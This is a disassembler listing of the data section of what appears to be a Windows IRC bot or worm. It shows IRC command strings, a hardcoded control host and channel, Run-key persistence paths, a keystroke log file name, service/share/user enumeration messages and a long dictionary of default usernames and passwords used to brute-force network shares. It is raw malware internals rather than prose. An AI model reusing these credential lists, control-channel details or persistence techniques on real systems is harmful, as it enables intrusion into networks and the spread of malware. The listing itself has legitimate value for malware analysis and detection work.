aS_3		db '\\%s\',0            ; DATA XREF: sub_40ADCF+249o
		align 4
aSamba		db 'Samba *',0          ; DATA XREF: sub_40ADCF+221o
aWindows5_1	db 'Windows 5.1',0      ; DATA XREF: sub_40ADCF+202o
aWindows5_0	db 'Windows 5.0',0      ; DATA XREF: sub_40ADCF+1D4o
aWindows2000Lan	db 'Windows 2000 LAN Manager*',0 ; DATA XREF: sub_40ADCF+1BBo
		align 4
aNtLanManager_	db 'NT LAN Manager *.*',0 ; DATA XREF: sub_40ADCF+1A1o
		align 4
aWindowsServer2	db 'Windows Server 2003 *.*',0 ; DATA XREF: sub_40ADCF+186o
aSSS		db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_40B2B5+58o
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_40B2B5+16o
					; sub_40CC09+620o
aNotice		db 'NOTICE',0           ; DATA XREF: sub_40B2B5+Fo
					; sub_40CC09+62Co
		align 10h
off_4294F0	dd offset off_4295B4	; DATA XREF: sub_40B350+6Dr
					; sub_40B734+50r ...
off_4294F4	dd offset aAdded	; DATA XREF: sub_40B350+2Dr
					; sub_40B734+82r ...
					; "Added"
dword_4294F8	dd 0				dd offset aDelete_0	; "Delete"
		dd offset aDeleted	; "Deleted"
		align 8
		dd offset aList_0	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		align 10h
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 429564h, 42955Ch,	2, 429550h, 429544h, 3,	746E6F43h
		dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused_0	db 'Paused',0
		align 4
aPause_0	db 'Pause',0
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: .data:00429524o
aStop_0		db 'Stop',0             ; DATA XREF: .data:00429520o
		align 4
aStarted	db 'Started',0          ; DATA XREF: .data:00429518o
aStart_0	db 'Start',0            ; DATA XREF: .data:00429514o
		align 4
aListed		db 'Listed',0           ; DATA XREF: .data:0042950Co
		align 4
aList_0		db 'List',0             ; DATA XREF: .data:00429508o
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: .data:00429500o
aDelete_0	db 'Delete',0           ; DATA XREF: .data:004294FCo
		align 4
aAdded		db 'Added',0            ; DATA XREF: .data:off_4294F4o
		align 4
off_4295B4	dd offset byte_646441	; DATA XREF: .data:off_4294F0o
unk_4295B8	db    2			; DATA XREF: sub_40B350+74o
		db 74h,	2, 72h
		db  6Eh	; n
		db 28h,	30h, 31h
		db  61h	; a
		db 29h,	20h, 5Bh
		db  6Eh	; n
		db 65h,	74h, 2Eh
		db  6Dh	; m
		db 1Fh,	64h, 1Fh
		db  6Ch	; l
		db 5Dh,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aSNoServiceSpec	db ' %s: No service specified.',0
		align 10h
unk_4295F0	db    2			; DATA XREF: sub_40B350+55o
		db 74h,	2, 72h
		db  6Eh	; n
		db 28h,	30h, 31h
		db  61h	; a
		db 29h,	20h, 5Bh
		db  6Eh	; n
		db 65h,	74h, 2Eh
		db  6Dh	; m
		db 1Fh,	64h, 1Fh
		db  6Ch	; l
		db 5Dh,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aErrorWithServi	db ' Error with service: ',27h,'%s',27h,'. %s',0
		align 4
unk_42962C	db    2			; DATA XREF: sub_40B350+38o
		db 74h,	2, 72h
		db  6Eh	; n
		db 28h,	30h, 31h
		db  61h	; a
		db 29h,	20h, 5Bh
		db  6Eh	; n
		db 65h,	74h, 2Eh
		db  6Dh	; m
		db 1Fh,	64h, 1Fh
		db  6Ch	; l
		db 5Dh,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aSServiceS_	db ' %s service: ',27h,'%s',27h,'.',0
		align 4
aAnUnknownErr_0	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_40B479+12Co
		align 10h
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_40B479:loc_40B591o
		align 10h
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_40B479:loc_40B58Ao
		align 4
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_40B479:loc_40B583o
		db 'the state of the service.',0
		align 10h
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_40B479:loc_40B57Co
		align 4
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_40B479:loc_40B575o
		db ' correct access rights.',0
		align 4
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_40B479:loc_40B56Eo
		align 10h
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_40B479:loc_40B567o
		align 10h
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_40B479:loc_40B560o
		align 4
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_40B479:loc_40B559o
		db 'marked for deletion.',0
		align 4
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_40B479:loc_40B552o
		align 4
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_40B479:loc_40B527o
		align 4
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_40B479:loc_40B520o
		db ' the service.',0
		align 4
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_40B479:loc_40B519o
		db 'tServiceCtrlDispatcher.',0
		align 10h
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_40B479:loc_40B512o
		align 10h
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_40B479+8Fo
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_40B479:loc_40B4E7o
		db 'dependent on it.',0
		align 4
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_40B479:loc_40B4DDo
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_40B479:loc_40B4D3o
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_40B479:loc_40B4C9o
		align 4
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_40B479:loc_40B4BFo
		align 10h
aTheSpecifiedSe	db 'The specified service name is invalid.',0 ; DATA XREF: sub_40B479+3Co
		align 4
aSSS_0		db '%s: %s (%s)',0      ; DATA XREF: sub_40B5F7+EBo
aStopped	db '    Stopped',0      ; DATA XREF: sub_40B5F7:loc_40B6C3o
aStarting	db '   Starting',0      ; DATA XREF: sub_40B5F7:loc_40B6BCo
aStoping	db '    Stoping',0      ; DATA XREF: sub_40B5F7:loc_40B6B5o
aRunning	db '    Running',0      ; DATA XREF: sub_40B5F7:loc_40B6AEo
aContinuing	db ' Continuing',0      ; DATA XREF: sub_40B5F7:loc_40B6A7o
aPausing	db '    Pausing',0      ; DATA XREF: sub_40B5F7:loc_40B6A0o
aPaused		db '     Paused',0      ; DATA XREF: sub_40B5F7:loc_40B699o
aUnknown_0	db '    Unknown',0      ; DATA XREF: sub_40B5F7+9Bo
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_40B5F7+25o
		align 4
unk_429B94	db    2			; DATA XREF: sub_40B734+ABo
		db 74h,	2, 72h
		db  6Eh	; n
		db 28h,	30h, 31h
		db  61h	; a
		db 29h,	20h, 5Bh
		db  6Eh	; n
		db 65h,	74h, 2Eh
		db  6Dh	; m
		db 1Fh,	64h, 1Fh
		db  6Ch	; l
		db 5Dh,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aSNoShareSpecif	db ' %s: No share specified.',0
		align 4
unk_429BCC	db    2			; DATA XREF: sub_40B734+89o
		db 74h,	2, 72h
		db  6Eh	; n
		db 28h,	30h, 31h
		db  61h	; a
		db 29h,	20h, 5Bh
		db  6Eh	; n
		db 65h,	74h, 2Eh
		db  6Dh	; m
		db 1Fh,	64h, 1Fh
		db  6Ch	; l
		db 5Dh,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aSShareS_	db ' %s share: ',27h,'%s',27h,'.',0
		align 4
unk_429BFC	db    2			; DATA XREF: sub_40B734+57o
		db 74h,	2, 72h
		db  6Eh	; n
		db 28h,	30h, 31h
		db  61h	; a
		db 29h,	20h, 5Bh
		db  6Eh	; n
		db 65h,	74h, 2Eh
		db  6Dh	; m
		db 1Fh,	64h, 1Fh
		db  6Ch	; l
		db 5Dh,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aSErrorWithShar	db ' %s: Error with share: ',27h,'%s',27h,'. %s',0
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_40B929+D0o
		align 10h
aNo		db 'No',0               ; DATA XREF: sub_40B929+BCo
		align 4
off_429C54	dd offset byte_736559	; DATA XREF: sub_40B929+B5o
unk_429C58	db    2			; DATA XREF: sub_40B929+76o
		db 74h,	2, 72h
		db  6Eh	; n
		db 28h,	30h, 31h
		db  61h	; a
		db 29h,	20h, 5Bh
		db  6Eh	; n
		db 65h,	74h, 2Eh
		db  6Dh	; m
		db 1Fh,	64h, 1Fh
		db  6Ch	; l
		db 5Dh,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aShareListError	db ' Share list error: %s <%ld>',0
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_40B929+26o
		align 4
unk_429CC8	db    2			; DATA XREF: sub_40BA4A+B6o
		db 74h,	2, 72h
		db  6Eh	; n
		db 28h,	30h, 31h
		db  61h	; a
		db 29h,	20h, 5Bh
		db  6Eh	; n
		db 65h,	74h, 2Eh
		db  6Dh	; m
		db 1Fh,	64h, 1Fh
		db  6Ch	; l
		db 5Dh,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aSNoUsernameSpe	db ' %s: No username specified.',0
unk_429D00	db    2			; DATA XREF: sub_40BA4A+94o
		db 74h,	2, 72h
		db  6Eh	; n
		db 28h,	30h, 31h
		db  61h	; a
		db 29h,	20h, 5Bh
		db  6Eh	; n
		db 65h,	74h, 2Eh
		db  6Dh	; m
		db 1Fh,	64h, 1Fh
		db  6Ch	; l
		db 5Dh,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aSErrorWithUser	db ' %s: Error with username: ',27h,'%s',27h,'. %s',0
		align 10h
unk_429D40	db    2			; DATA XREF: sub_40BA4A+6Do
		db 74h,	2, 72h
		db  6Eh	; n
		db 28h,	30h, 31h
		db  61h	; a
		db 29h,	20h, 5Bh
		db  6Eh	; n
		db 65h,	74h, 2Eh
		db  6Dh	; m
		db 1Fh,	64h, 1Fh
		db  6Ch	; l
		db 5Dh,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aSUsernameS_	db ' %s username: ',27h,'%s',27h,'.',0
unk_429D70	db    2			; DATA XREF: sub_40BB90+394o
		db 74h,	2, 72h
		db  6Eh	; n
		db 28h,	30h, 31h
		db  61h	; a
		db 29h,	20h, 5Bh
		db  6Eh	; n
		db 65h,	74h, 2Eh
		db  6Dh	; m
		db 1Fh,	64h, 1Fh
		db  6Ch	; l
		db 5Dh,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aUserInfoErrorL	db ' User info error: <%ld>',0
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_40BB90+36Ao
		align 4
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_40BB90+33Fo
		align 4
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_40BB90+317o
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_40BB90+2ECo
		align 4
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_40BB90+2C4o
		align 4
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_40BB90+299o
		align 4
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_40BB90+271o
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_40BB90+246o
		align 4
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_40BB90+21Eo
		align 4
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_40BB90+1F3o
		align 4
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_40BB90+1CBo
		align 10h
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_40BB90+1A0o
		align 10h
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_40BB90+178o
		align 4
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_40BB90+14Do
		align 4
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_40BB90+125o
aGuest		db 'Guest',0            ; DATA XREF: sub_40BB90:loc_40BCA9o
		align 10h
aUser_0		db 'User',0             ; DATA XREF: sub_40BB90:loc_40BCA2o
		align 4
aAdministrator	db 'Administrator',0    ; DATA XREF: sub_40BB90:loc_40BC9Bo
					; .data:0042A4A0o ...
		align 4
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_40BB90+D4o
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_40BB90+ACo
		align 4
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_40BB90+81o
		align 4
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_40BB90+50o
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_40BF5E+14Fo
		align 4
unk_429F3C	db    2			; DATA XREF: sub_40BF5E+F7o
		db 74h,	2, 72h
		db  6Eh	; n
		db 28h,	30h, 31h
		db  61h	; a
		db 29h,	20h, 5Bh
		db  6Eh	; n
		db 65h,	74h, 2Eh
		db  6Dh	; m
		db 1Fh,	64h, 1Fh
		db  6Ch	; l
		db 5Dh,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aAnAccessViolat	db ' An access violation has occured.',0
		align 4
aS_4		db '  %S',0             ; DATA XREF: sub_40BF5E+BEo
		align 4
unk_429F84	db    2			; DATA XREF: sub_40BF5E+7Ao
		db 74h,	2, 72h
		db  6Eh	; n
		db 28h,	30h, 31h
		db  61h	; a
		db 29h,	20h, 5Bh
		db  6Eh	; n
		db 65h,	74h, 2Eh
		db  6Dh	; m
		db 1Fh,	64h, 1Fh
		db  6Ch	; l
		db 5Dh,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aUserListErrorS	db ' User list error: %s <%ld>',0
		align 4
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_40BF5E+29o
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_40C0DE:loc_40C1FBo
		align 10h
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_40C0DE:loc_40C1F4o
		align 4
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_40C0DE:loc_40C1EDo
		align 4
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_40C0DE:loc_40C1E6o
		align 4
aAnUnknownError	db 'An unknown error occurred.',0 ; DATA XREF: sub_40C0DE:loc_40C1DFo
		align 4
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_40C0DE:loc_40C1C2o
		db 'ord policy requirement.)',0
		align 10h
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_40C0DE:loc_40C1BBo
		align 4
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_40C0DE:loc_40C1B4o
		align 10h
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_40C0DE+CFo
		db ' the domain.',0
		align 10h
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_40C0DE:loc_40C189o
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_40C0DE:loc_40C182o
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_40C0DE:loc_40C17Bo
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_40C0DE:loc_40C171o
		align 4
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_40C0DE+89o
		align 10h
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_40C0DE:loc_40C14Bo
		align 4
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_40C0DE:loc_40C141o
		align 4
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_40C0DE:loc_40C137o
		align 4
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_40C0DE:loc_40C12Do
		align 4
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_40C0DE:loc_40C123o
		align 4
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_40C0DE+3Bo
		align 10h
unk_42A2A0	db    2			; DATA XREF: sub_40C212+ABo
		db 74h,	2, 72h
		db  6Eh	; n
		db 28h,	30h, 31h
		db  61h	; a
		db 29h,	20h, 5Bh
		db  6Eh	; n
		db 65h,	74h, 2Eh
		db  6Dh	; m
		db 1Fh,	64h, 1Fh
		db  6Ch	; l
		db 5Dh,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aSServerSMessag	db ' %s <Server: %S> <Message: %S>',0
		align 4
unk_42A2DC	db    2			; DATA XREF: sub_40C212+81o
		db 74h,	2, 72h
		db  6Eh	; n
		db 28h,	30h, 31h
		db  61h	; a
		db 29h,	20h, 5Bh
		db  6Eh	; n
		db 65h,	74h, 2Eh
		db  6Dh	; m
		db 1Fh,	64h, 1Fh
		db  6Ch	; l
		db 5Dh,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aMessageSentSuc	db ' Message sent successfully.',0
dword_42A314	dd 1B58h						; sub_40C2D0+5C6r
dword_42A318	dd 1A0Bh	dword_42A31C	dd 1AA6h	dword_42A320	dd 45h							; sub_40CC09+49E0r
dword_42A324	dd 158Dh						; sub_40CC09:loc_4116DBr
		dd 201h
dword_42A32C	dd 1		dword_42A330	dd 1							; sub_40C2D0:loc_40C61Er
byte_42A334	db 78h			; DATA XREF: sub_40A8F0:loc_40A8FCr
					; sub_40CC09+AF3r ...
		align 4
dword_42A338	dd 9							; sub_41274C+51r ...
dword_42A33C	dd 1							; sub_40CC09+27Cr ...
dword_42A340	dd 1		aNt801		db 'nt801',0            ; DATA XREF: sub_40C2D0+6Ao
					; sub_40CC09+38FBo ...
		align 4
aNk0_1		db 'nk0.1',0
		align 4
aHi_0		db 'hi',0               ; DATA XREF: sub_40CC09+55C6o
					; sub_40CC09+5695o
		align 4
aHome_najd_us	db 'home.najd.us',0     ; DATA XREF: sub_40C2D0+4FEo
					; sub_40C2D0+5B7o
		align 4
off_42A368	dd offset byte_646423	; DATA XREF: sub_40C2D0+51Fo
					; sub_40C2D0+5CDo
aDpass		db 'dpass',0            ; DATA XREF: sub_40C2D0+536o
					; sub_40C2D0+5DFo
		align 4
byte_42A374	db 68h			; DATA XREF: sub_40C2D0:loc_40C8C5r
					; sub_40C2D0+603o
aOme_najd_us	db 'ome.najd.us',0
		align 4
off_42A384	dd offset byte_646423	; DATA XREF: sub_40C2D0+619o
aDpass_0	db 'dpass',0            ; DATA XREF: sub_40C2D0+62Bo
		align 10h
aTilehome_com	db 'Tilehome.com',0     ; DATA XREF: sub_402F48+3Eo
					; sub_4039C9+89o ...
		align 10h
aKeyshom_txt	db 'keyshom.txt',0
aWindowsTilehom	db 'Windows Tilehome',0 ; DATA XREF: sub_409A42+Eo
		align 10h
aCc		db 'Cc-',0              ; DATA XREF: sub_41274C+12o
aTilehome_com_0	db 'Tilehome.com',0
		align 4
aXI		db '+x+i',0             ; DATA XREF: sub_40CC09+570Eo
		align 4
off_42A3DC	dd offset byte_636323	; DATA XREF: sub_40CC09:loc_40FA1Fo
					; sub_40CC09+4832o
aCcc_0		db '#ccc',0
		align 4
aCcc		db '#ccc',0             ; DATA XREF: sub_40CC09+1B01o
		align 10h
off_42A3F0	dd offset a@room	; DATA XREF: sub_40CC09:loc_41222Bo
					; "*@room"
off_42A3F4	dd offset aMirc1_6_99	; DATA XREF: sub_40CC09+8C6r
					; sub_40CC09+563Eo
					; "mirc	1.6.99"
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
		align 4
aSoftwareMicr_1	db 'Software\Microsoft\Windows\CurrentVersion\RunServices',0
		align 10h
aSoftwareMicros	db 'Software\Microsoft\OLE',0
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0
		align 10h
		dd offset aAdministrator ; "Administrator"
		dd offset aAdministrato_0 ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrater ; "administrater"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aStaff	; "staff"
		dd offset aRoot		; "root"
		dd offset aComputer	; "computer"
		dd offset aOwner	; "owner"
		dd offset aStudent	; "student"
		dd offset aTeacher	; "teacher"
		dd offset aWwwadmin	; "wwwadmin"
		dd offset aGuest_0	; "guest"
		dd offset aDefault	; "default"
		dd offset aDatabase	; "database"
		dd offset aDb1		; "db1"
		dd offset aOracle	; "oracle"
		dd offset aDirector	; "Director"
		dd offset aOfficial	; "Official"
		dd offset aDirector_0	; "director"
		dd offset aAdministrative ; "administrative"
		dd offset aManagement	; "management"
		dd offset aUser		; "USER"
		dd 0
		dd offset byte_438A10
		dd offset aAdministrato_1 ; "ADMINISTRATOR"
		dd offset aAdministrator ; "Administrator"
		dd offset aAdministrato_0 ; "administrator"
		dd offset aFubar	; "fubar"
		dd offset off_431200
		dd offset aGuest_1	; "GUEST"
		dd offset aRoot_0	; "ROOT"
		dd offset aRoot		; "root"
		dd offset aAdmin_0	; "ADMIN"
		dd offset aPassword	; "PASSWORD"
		dd offset aTemp		; "TEMP"
		dd offset aShare_0	; "SHARE"
		dd offset aWrite	; "WRITE"
		dd offset aFull_0	; "FULL"
		dd offset aLadeda	; "ladeda"
		dd offset aBoth		; "BOTH"
		dd offset aRead		; "READ"
		dd offset aFiles	; "FILES"
		dd offset aDemo		; "DEMO"
		dd offset aOwner_0	; "OWNER"
		dd offset aOwner_1	; "Owner"
		dd offset off_431180
		dd offset aTest		; "TEST"
		dd offset aAccess	; "ACCESS"
		dd offset aUser		; "USER"
		dd offset aBackup	; "BACKUP"
		dd offset aSystem	; "SYSTEM"
		dd offset aServer_1	; "SERVER"
		dd offset aPepsi	; "pepsi"
		dd offset aLocal	; "LOCAL"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aChangeme	; "changeme"
		dd offset aChangeme_0	; "Changeme"
		dd offset aTemp123	; "temp123"
		dd offset a1		; "1"
		dd offset a12		; "12"
		dd offset a123		; "123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a654321	; "654321"
		dd offset a54321	; "54321"
		dd offset a111		; "111"
		dd offset a11111111	; "11111111"
		dd offset a88888888	; "88888888"
		dd offset aPass_0	; "pass"
		dd offset aPasswd	; "passwd"
		dd offset aDatabase	; "database"
		dd offset aAbcd		; "abcd"
		dd offset aAbc123	; "abc123"
		dd offset aOracle	; "oracle"
		dd offset aSybase	; "sybase"
		dd offset a123qwe	; "123qwe"
		dd offset aComputer	; "computer"
		dd offset aInternet	; "Internet"
		dd offset aSuper	; "super"
		dd offset a123asd	; "123asd"
		dd offset aIhavenopass	; "ihavenopass"
		dd offset aGodblessyou	; "godblessyou"
		dd offset aEnable	; "enable"
		dd offset aXp_0		; "xp"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
		dd offset a2600		; "2600"
		dd offset a110		; "110"
		dd offset a111111	; "111111"
		dd offset a121212	; "121212"
		dd offset a123123	; "123123"
		dd offset a1234qwer	; "1234qwer"
		dd offset a123abc	; "123abc"
		dd offset a007		; "007"
		dd offset aAlpha	; "alpha"
		dd offset aPatrick	; "patrick"
		dd offset off_430FE0
		dd offset dword_430FDC
		dd offset off_430FD8
		dd offset aFoobar	; "foobar"
		dd offset aNilez	; "Nilez"
		dd offset aDevil	; "devil"
		dd offset aNetdevil	; "netdevil"
		dd offset aNetDevil	; "net-devil"
		dd offset a0wned	; "0wned"
		dd offset aOwned	; "owned"
		dd offset aIrule	; "irule"
		dd offset aNetfuck	; "netfuck"
		dd offset aFucked	; "fucked"
		dd offset aCrash	; "crash"
		dd offset dword_430F74
		dd offset off_430F70
		dd offset off_430F6C
		dd offset aTest123	; "test123"
		dd offset off_430F60
		dd offset aPc		; "pc"
		dd offset aAsdf		; "asdf"
		dd offset aSecret	; "secret"
		dd offset aQwer		; "qwer"
		dd offset aYxcv		; "yxcv"
		dd offset aZxcv		; "zxcv"
		dd offset aHome		; "home"
		dd offset aLogin_15	; "login"
		dd offset off_430F20
		dd offset aLove		; "love"
		dd offset aMypc		; "mypc"
		dd offset aMypc123	; "mypc123"
		dd offset aAdmin123	; "admin123"
		dd offset aPw123	; "pw123"
		dd offset aMypass	; "mypass"
		dd offset aMypass123	; "mypass123"
		dd offset dword_430EDC
		dd offset off_430ED8
		dd offset aMatt		; "Matt"
		dd offset aMatthew	; "Matthew"
		dd offset aGobo		; "gobo"
		dd offset aSatan	; "satan"
		dd offset aSatanik	; "satanik"
		dd offset aSatanic	; "satanic"
		dd offset aSpaceman	; "spaceman"
		dd offset aHeaven	; "heaven"
		dd offset aW00t		; "w00t"
		dd offset a0wn3d	; "0wn3d"
		dd offset aKiller	; "killer"
		dd offset aLeet		; "leet"
		dd offset aL33t		; "l33t"
		dd offset aL337		; "l337"
		dd offset aHacker	; "hacker"
		dd offset aHax0r	; "hax0r"
		dd offset aScript	; "script"
		dd offset aScriptkiddie	; "scriptkiddie"
		dd offset aKiddie	; "kiddie"
		dd offset aMirc_0	; "mirc"
		dd offset aUwontguessme	; "uwontguessme"
		dd offset aYouwontguessme ; "youwontguessme"
		dd offset aGuessme	; "guessme"
		dd offset asc_430E00	; "x"
		dd offset aXx		; "xx"
		dd offset aXxx		; "xxx"
		dd offset aXxxx		; "xxxx"
		dd offset aXxxxx	; "xxxxx"
		dd offset aXxxxxx	; "xxxxxx"
		dd offset aXxxxxxx	; "xxxxxxx"
		dd offset aXxxxxxxx	; "xxxxxxxx"
		dd offset aXxxxxxxxx	; "xxxxxxxxx"
		dd offset dword_4221A4
		dd offset a00		; "00"
		dd offset aDeath	; "death"
		dd offset aTesting	; "testing"
		dd offset a000		; "000"
		dd offset a0000		; "0000"
		dd offset a00000	; "00000"
		dd offset a000000	; "000000"
		dd offset aAcademia	; "academia"
		dd offset aAcademic	; "academic"
		dd offset aAccept	; "accept"
		dd offset aAccount	; "account"
		dd offset aAction	; "action"
		dd offset aAdam		; "adam"
		dd offset aAdrian	; "adrian"
		dd offset aAdrianna	; "adrianna"
		dd offset aAdult	; "adult"
		dd offset aAerobics	; "aerobics"
		dd offset aAids		; "aids"
		dd offset aAirplane	; "airplane"
		dd offset aAlaska	; "alaska"
		dd offset aAlbany	; "albany"
		dd offset aAlbatros	; "albatros"
		dd offset aAlbert	; "albert"
		dd offset aAlert	; "alert"
		dd offset aAlex		; "alex"
		dd offset aAlexande	; "alexande"
		dd offset aAlgebra	; "algebra"
		dd offset aAlias	; "alias"
		dd offset aAliases	; "aliases"
		dd offset aAlice	; "alice"
		dd offset aAlicia	; "alicia"
		dd offset aAlisa	; "alisa"
		dd offset aAlison	; "alison"
		dd offset aAllison	; "allison"
		dd offset aAllow	; "allow"
		dd offset aAlphabet	; "alphabet"
		dd offset aAmadeus	; "amadeus"
		dd offset aAmanda	; "amanda"
		dd offset aAmber	; "amber"
		dd offset aAmerica	; "america"
		dd offset aAmorphou	; "amorphou"
		dd offset aAnal		; "anal"
		dd offset aAnalog	; "analog"
		dd offset aAnarchis	; "anarchis"
		dd offset aAnarchy	; "anarchy"
		dd offset aAnchor	; "anchor"
		dd offset aAndrea	; "andrea"
		dd offset aAndroid	; "android"
		dd offset aAndromac	; "andromac"
		dd offset aAndy		; "andy"
		dd offset aAnfo		; "anfo"
		dd offset aAngela	; "angela"
		dd offset aAngerine	; "angerine"
		dd offset aAngie	; "angie"
		dd offset aAnimal	; "animal"
		dd offset aAnimals	; "animals"
		dd offset aAnita	; "anita"
		dd offset aAnna		; "anna"
		dd offset aAnne		; "anne"
		dd offset aAnnette	; "annette"
		dd offset aAnon		; "anon"
		dd offset aAnonymou	; "anonymou"
		dd offset aAnswer	; "answer"
		dd offset aAnthrax	; "anthrax"
		dd offset aAnthropo	; "anthropo"
		dd offset aAnvils	; "anvils"
		dd offset aAnything	; "anything"
		dd offset aApollo13	; "apollo13"
		dd offset aApril	; "april"
		dd offset aAria		; "aria"
		dd offset aAriadne	; "ariadne"
		dd offset aArlene	; "arlene"
		dd offset aArmy		; "army"
		dd offset aArrow	; "arrow"
		dd offset aArthur	; "arthur"
		dd offset aArtist	; "artist"
		dd offset aAsian	; "asian"
		dd offset aAsshole	; "asshole"
		dd offset aAthena	; "athena"
		dd offset aAtmosphe	; "atmosphe"
		dd offset aAtom		; "atom"
		dd offset aAttack	; "attack"
		dd offset aAuthoriz	; "authoriz"
		dd offset aAztecs	; "aztecs"
		dd offset aAzure	; "azure"
		dd offset aBabe		; "babe"
		dd offset aBaby		; "baby"
		dd offset aBacchus	; "bacchus"
		dd offset aBackdoor	; "backdoor"
